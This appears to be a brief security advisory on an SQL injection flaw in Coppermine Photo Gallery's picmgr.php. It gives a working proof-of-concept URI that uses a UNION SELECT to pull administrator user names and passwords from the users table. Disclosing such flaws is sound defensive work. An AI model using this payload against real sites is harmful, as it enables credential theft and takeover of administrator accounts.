|
Coppermine Photo Gallery Picmgr.PHP SQL Injection Vulnerability
Attackers can exploit this issue via a web client. The following proof-of-concept URI is available: http://www.example.com/picmgr.php?aid=123%20UNION%20SELECT%20user_id,user_group,concat(user_name,char(58,58),user_password)%20FROM%20cpg149_users%20right%20join%20cpg149_usergroups %20on%20cpg149_users.user_group%20=%20cpg149_usergroups.group_id%20where%20cpg149_usergroups.has_admin_access%20=%201%20-- |
|
|
Privacy Statement |
